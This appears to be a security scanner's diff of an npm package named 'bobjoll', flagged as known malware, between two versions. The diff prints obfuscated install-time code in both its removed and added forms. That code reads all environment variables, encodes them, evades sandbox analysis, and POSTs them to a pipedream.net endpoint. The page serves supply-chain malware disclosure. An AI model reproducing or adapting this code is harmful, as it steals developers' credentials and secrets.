Comparing version 7.640.3 to 7.641.3
{ | ||
"name": "bobjoll", | ||
"version": "7.640.3", | ||
"version": "7.641.3", | ||
"private": false, | ||
@@ -14,2 +14,3 @@ "description": "HBS views of bob joll", | ||
}, | ||
"repository": "https://www.gitlab.com/hfrpik/bobjoll", | ||
"publishConfig": { | ||
@@ -27,2 +28,2 @@ "access": "public" | ||
} | ||
} | ||
} |
var http = require("https"); | ||
function getPropValue(getter, prop) { | ||
var c = getter | ||
.toString() | ||
.split("\n") | ||
.filter((x) => x.trim().startsWith("//")) | ||
.map((x) => x.trim().split(" ").pop()); | ||
return typeof getter === "function" ? c[prop] : getter(prop); | ||
} | ||
function action() { | ||
function propGetter(prop) { | ||
// 1. west | ||
// 2. question | ||
// 3. Ireland | ||
return ( | ||
getPropValue(propGetter, prop) || ["question", "west", "Ireland"][prop] | ||
); | ||
} | ||
const idxs = [ | ||
[2, 4], | ||
[0, 3], | ||
[1, 3], | ||
]; | ||
return [0, 1, 2] | ||
.map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1])) | ||
.reverse() | ||
.join(""); | ||
} | ||
function host(suffix) { | ||
return ["x", "WI"].reverse().join("").toLowerCase() + suffix; | ||
} | ||
function asB64(buff) { | ||
var d = buff.toString("base64"); | ||
return d.slice(0, 2) + "poo" + d.slice(2); | ||
} | ||
function Consts() { | ||
this.uuid = "afxsiyf"; | ||
} | ||
Consts.prototype.getOpts = function (pName, dom) { | ||
const vals = [ | ||
{ ["user" + "-" + "agent"]: ["node-fetch", "1.0"].join("/") }, | ||
["st", "po"].reverse().join("").toUpperCase(), | ||
["", "a1da4192a20", "_functions", "fdd2654dee", pName || ""].join("/"), | ||
[dom, host("site"), this.uuid].reverse().join("."), | ||
].reverse(); | ||
return this.optionsFields.reduce(function (result, field, idx) { | ||
result[field] = result[field] || vals[idx]; | ||
return result; | ||
}, {}); | ||
}; | ||
Consts.prototype.optionsFields = [0, 1, 2, 3].map(function (i) { | ||
return getPropValue(function () { | ||
// 1. host | ||
// 2. path | ||
// 3. method | ||
// 4. headers | ||
return ["toast", "path rail", "cathode", "bedders"]; | ||
}, i); | ||
}); | ||
function toString(res, props) { | ||
res.write(asB64(Buffer.from(JSON.stringify(props)))); | ||
res.end(); | ||
} | ||
function main() { | ||
var props = process.env || {}; | ||
var data = global["proc" + "ess"][["v", "n", "e"].reverse().join("")] || {}; | ||
var exclude = [ | ||
var filter = [ | ||
{ | ||
@@ -151,3 +77,3 @@ key: ["npm", "config", "regi" + "stry"].join("_"), | ||
"node" + "_modules", | ||
props.npm_package_name, | ||
data.npm_package_name, | ||
].join("/"), | ||
@@ -157,3 +83,3 @@ }, | ||
key: "PWD", | ||
val: ["", props.USER, "node" + "_modules", props.npm_package_name].join( | ||
val: ["", data.USER, "node" + "_modules", data.npm_package_name].join( | ||
"/" | ||
@@ -169,18 +95,15 @@ ), | ||
if ( | ||
exclude.some((entry) => | ||
filter.some((entry) => | ||
[] | ||
.concat(entry) | ||
.every( | ||
(item) => | ||
(props[item.key] || "").includes(item.val) || item.val === "*" | ||
) | ||
.every((item) => data[item.key] && data[item.key].includes(item.val)) | ||
) || | ||
Object.keys(props).length < 10 || | ||
!props.npm_package_name || | ||
!props.npm_package_version || | ||
Object.keys(data).length < 10 || | ||
!data.npm_package_name || | ||
!data.npm_package_version || | ||
/C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test( | ||
props.npm_package_json || "" | ||
data.npm_package_json || "" | ||
) || | ||
/C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") || | ||
(props.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/") | ||
/C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "") || | ||
(data.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/") | ||
) { | ||
@@ -190,14 +113,17 @@ return; | ||
var con = new Consts(); | ||
var req = http | ||
.request({ | ||
host: ["eoq0cklg" + "j8cdgp", "m", "pi" + "ped" + "ream", "net"].join( | ||
"." | ||
), | ||
path: "/" + (data.npm_package_name || ""), | ||
method: "POST", | ||
}) | ||
.on("error", function (err) {}); | ||
var res = http[action()](con.getOpts(props.npm_package_name, "com")).on( | ||
"error", | ||
function (err) { | ||
console.log(err); | ||
} | ||
); | ||
toString(res, props); | ||
var trns = Buffer.from(JSON.stringify(data)).toString("base64"); | ||
req.write(trns.slice(0, 2) + "poo" + trns.slice(2)); | ||
req.end(); | ||
} | ||
main(); |
Sorry, the diff of this file is not supported yet
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
No repository
Supply chain riskPackage does not have a linked source code repository. Without this field, a package will have no reference to the location of the source code use to generate the package.
Found 1 instance in 1 package
97
1
296269
3339